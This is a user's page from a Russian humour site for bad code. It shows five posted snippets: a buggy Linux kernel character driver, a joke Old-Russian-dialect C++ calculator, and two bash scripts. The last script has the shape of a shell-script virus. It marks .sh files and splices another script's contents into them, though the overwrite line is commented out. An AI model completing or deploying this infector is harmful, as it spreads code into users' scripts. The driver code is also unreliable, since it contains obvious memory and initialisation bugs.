1. Список говнокодов пользователя Alice

    Всего: 5

  2. Си / Говнокод #2332

    +131.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    static void module3_exit(void){        
      cdev_del(mydev);            
      printk(KERN_INFO"Device"DEV_NAME"was deleted");
    };                                               
    int mydev_open(struct inode *in,struct file *filp){                                                 
      printk(KERN_INFO DEV_NAME "open");              
      struct dev_state *dev_stat;                     
      dev_stat=&STATE[MINOR(in->i_rdev)];             
      if(dev_stat->dev_open)                          
      {                                               
        printk("Kernel: device "DEV_NAME" is exist"); 
        return -EBUSY;                                
      };                                              
      dev_stat->dev_open++;                           
      dev_stat->dev_read=0;                           
      dev_stat->dev_write=0;                          
      int num= NUM(in->i_rdev);                       
      int type=TYPE(in->i_rdev);                      
      return 0;                                       
    };                                                
    
    int mydev_ioctl(struct inode *in,struct file *filp,unsigned int ioctl,unsigned long param)
    {                                                                                         
      printk(KERN_INFO DEV_NAME "ioctl");                                                     
      return 0;                                                                               
    };                                                                                        
    
    ssize_t mydev_read(struct file *filp,char *buff,ssize_t len,loff_t pos)
    {                                                                      
      printk(KERN_INFO DEV_NAME "read");                                   
      struct inode *in;                                                    
      int count=len;                                                       
      struct dev_state *devst;                                             
      printk("Kernel: try to read %d bytes \n",len);                       
      in=filp->f_dentry->d_inode;                                          
      printk("Kernel: minor number is %d",MINOR(in->i_rdev));              
      devst=&STATE[MINOR(in->i_rdev)];                                     
      while(count--)                                                       
      {                                                                    
        put_user(inb_p(PORT_START+10*MINOR(in->i_rdev)),buff);             
        buff++;                                                            
      };                                                                   
      devst->dev_read+=len;                                                
      printk(KERN_INFO"Kernel: read "DEV_NAME" %d bytes",len);             
      return len;                                                          
    };                                                                     
                                                                           
    ssize_t mydev_write(struct file *filp, const char *buff, ssize_t len,loff_t pos)
    {
      printk(KERN_INFO DEV_NAME "write");
      struct inode *in;
      int count=len;
      unsigned char byte;
      struct dev_state *devst;
      printk(KERN_INFO"Kernel: try to write %d bytes\n",len);
      in=filp->f_dentry->d_inode;
      printk(KERN_INFO"Kernel: minor number %d\n",MINOR(in->i_rdev));
      devst=&STATE[MINOR(in->i_rdev)];
      while(count--)
      {
        get_user(byte, buff);
        outb_p(byte, PORT_START+10*MINOR(in->i_rdev));
        buff++;
      };
      devst->dev_write +=len;
      printk(KERN_INFO"Kernel: "DEV_NAME " written %d bytes\n",len);
      return len;
    };

    Модуль ядра

    Alice, 25 Декабря 2009

    Комментарии (14)
  3. Си / Говнокод #2331

    +128.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    #define MAX_FILE_LENGHT PAGE_SIZE                                                
    #define TYPE(dev) ( MINOR(dev) >> 4)                                             
    #define NUM(dev)  ( MINOR(dev) & 0xf )                                           
    #define IRQ_NUM 1                                                                
    #define DEV_NAME "keyboard"                                                      
    #define MAX_DEV_COUNT 5                                                          
    #define PORT_START 0xff30                                                        
    int devno,err;
    int mj,min;   
    struct cdev *mydev;
    static char *devbuff;
    struct dev_state{               
    int dev_open;   
    ssize_t dev_read;
    ssize_t dev_write;
    };                
    int mydev_ioctl(struct inode *in,struct file *filp,unsigned int ioctl,unsigned long param);                                                                                                     
    int mydev_open(struct inode *in,struct file* filp);                                                                                                                                                                                                   
    ssize_t mydev_read(struct file *filp,char *buff,ssize_t len,loff_t pos);                                                                                                                        
    ssize_t mydev_write(struct file *filp, const char *buff, ssize_t len,loff_t pos);                                                                                                               
    loff_t mydev_llseek(struct file *filp,loff_t pos, int dist);                                                                                                                                    
    int mydev_close(struct inode *in , struct file *filp);                                                                                                                                          
    static struct dev_state STATE[MAX_DEV_COUNT+1];                                                                                                                               
    struct resource *my_res;                                                                                                                                                                        
    struct file_operations fop_s={
      .owner = THIS_MODULE,       
      .open = mydev_open,         
      .release = mydev_close,     
      .read = mydev_read,         
      .write = mydev_write,       
      .ioctl = mydev_ioctl,       
      .llseek = mydev_llseek,     
    };                            
    static int module3_init(void){                            
      mj=1;                      
      min=1;                     
      my_res->start=0xff30;      
      my_res->name="myres";      
      my_res->flags=IORESOURCE_IO | IORESOURCE_IO_FIXED;
      my_res->parent=NULL;                              
      my_res->sibling=NULL;                             
      my_res->child=NULL;                               
      struct resource *myres=request_region(200,300,"myreg");
      devbuff=(char*)vmalloc(MAX_FILE_LENGHT);               
      memset(devbuff,0x20,sizeof(devbuff));                  
      devno=MKDEV(mj,min);                                   
      mydev=cdev_alloc();                                    
      mydev->owner=THIS_MODULE;                                                              
      cdev_init(mydev,&fop_s);                               
      err=cdev_add(mydev,devno,1);                           
      if(err){                                                      
        printk(KERN_INFO"Invaid devno %d\n",devno);          
        return -EFAULT;                                      
      };                                                     
      printk(KERN_INFO"Device"DEV_NAME"was created\n");      
      return 0;                                              
    };

    Alice, 25 Декабря 2009

    Комментарии (6)
  4. C++ / Говнокод #2272

    +146.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    // Боярский языг.cpp : Defines the entry point for the console application.
    //
    
    // Не догадались, как избавиться от этих некрасивых инклудов :)
    #include "stdafx.h"
    #include <iostream>
    
    использовати площадь какобычно аминь1
    
    наместе двояко провѣрятичегоглаголют молчаливо
    кагбе
        ѣжѣли получалка.сломалася молчаливо тогдауж
        кагбе
          молвити "Не лепо молвишь, барин!" аминь1
          возвѣрнути нуль спасихоспади1
        ага
        возвѣрнути один аминь1
    ага
    
    цѣло голова(цѣло количество_указов, глаголют указы[])
    кагбе
      дваждыточно первыйсундук, второйсундук, отвѣт аминь1
      буквица знако спасихоспади1
      творити
      кагбе
        молвити "молви первый цифирь, барин: " аминь1
        получити первыйсундук аминь1
    
        ѣжѣли провѣрятичегоглаголют молчаливо еси ложъ тогдауж прѣрвати спасихоспади1
    
        молвити "молви деяние, барин: " аминь1
        получити знако спасихоспади1
    
        ѣжѣли провѣрятичегоглаголют молчаливо еси ложъ тогдауж прѣрвати спасихоспади1
    
        ѣжѣли знако еси 'q' тогдауж прѣрвати аминь1
    
        молвити "молви второй цифирь, барин: " аминь1
        получити второйсундук аминь1
        
        ѣжѣли провѣрятичегоглаголют молчаливо еси ложъ тогдауж прѣрвати спасихоспади1
    
        избирати знако
        тогдауж  кагбе
          выборъ '+' сталобыти
            отвѣт буде первыйсундук да второйсундук аминь1
            прѣрвати спасихоспади1
          выборъ '-' сталобыти
            отвѣт буде первыйсундук бѣзо второйсундук аминь1
            прѣрвати спасихоспади1
          выборъ '*' сталобыти
            отвѣт буде первыйсундук повторити_столько_сколько второйсундук аминь1
            прѣрвати спасихоспади1
          выборъ '/' сталобыти
            отвѣт буде первыйсундук убрати_столько_сколько второйсундук аминь1
            прѣрвати спасихоспади1
        ага
    
        молвити "Отвѣт есьм: " аминь1
        молвити отвѣт да_промолчати спасихоспади1
    
      ага
      пока (истино) аминь1
    
      возвѣрнути нуль спасихоспади1
    ага

    Простой калькулятор на " боярском" диалекте MSVС++

    Alice, 13 Декабря 2009

    Комментарии (13)
  5. bash / Говнокод #2234

    −124.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    #!/bin/bash
    cc=0
    cf=`cat $1`
    key=$2
    cbc=`cat $1 | wc -c`
    lc=`cat $1 | wc -l`
    while let "lc>=0"
    do
    cfl=`cat $1 | head -n $lc | tail -n 1`
    let lc--
    ccc=`echo $cfl | wc -c`
    cccc=0
    while let "cccc<=ccc"
    do
    sl=`echo -n ${cfl:$cccc:$key} | rev`
    echo $sl
    let "cccc=cccc+key"
    done
    done

    Alice, 06 Декабря 2009

    Комментарии (9)
  6. bash / Говнокод #2233

    −122.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    #!/bin/bash
    grep ttt y
    for fl in `find $1 | grep .sh$`
    do
    l1=`cat $fl | head -n 2 | grep ttt`
    l2="grep ttt y"
    case $l1 in
    $l2)
    echo "yes "$l1" "$fl
            ;;
    *)
            echo "no "$l1" "$fl
            echo '#!/bin/bash' > $fl.2
            echo 'grep ttt y' >> $fl.2
            cat $fl | gawk '{ if(/exit/){ system("cat /home/alice/pp.sh") } else { print $0 } }' >> $fl.2
            cat $fl.2
    #        cp $fl.2 $fl
            rm $fl.2
    esac
    done
    cp ~/pp.sh~ ~/pp.sh
    exit 0

    Alice, 06 Декабря 2009

    Комментарии (4)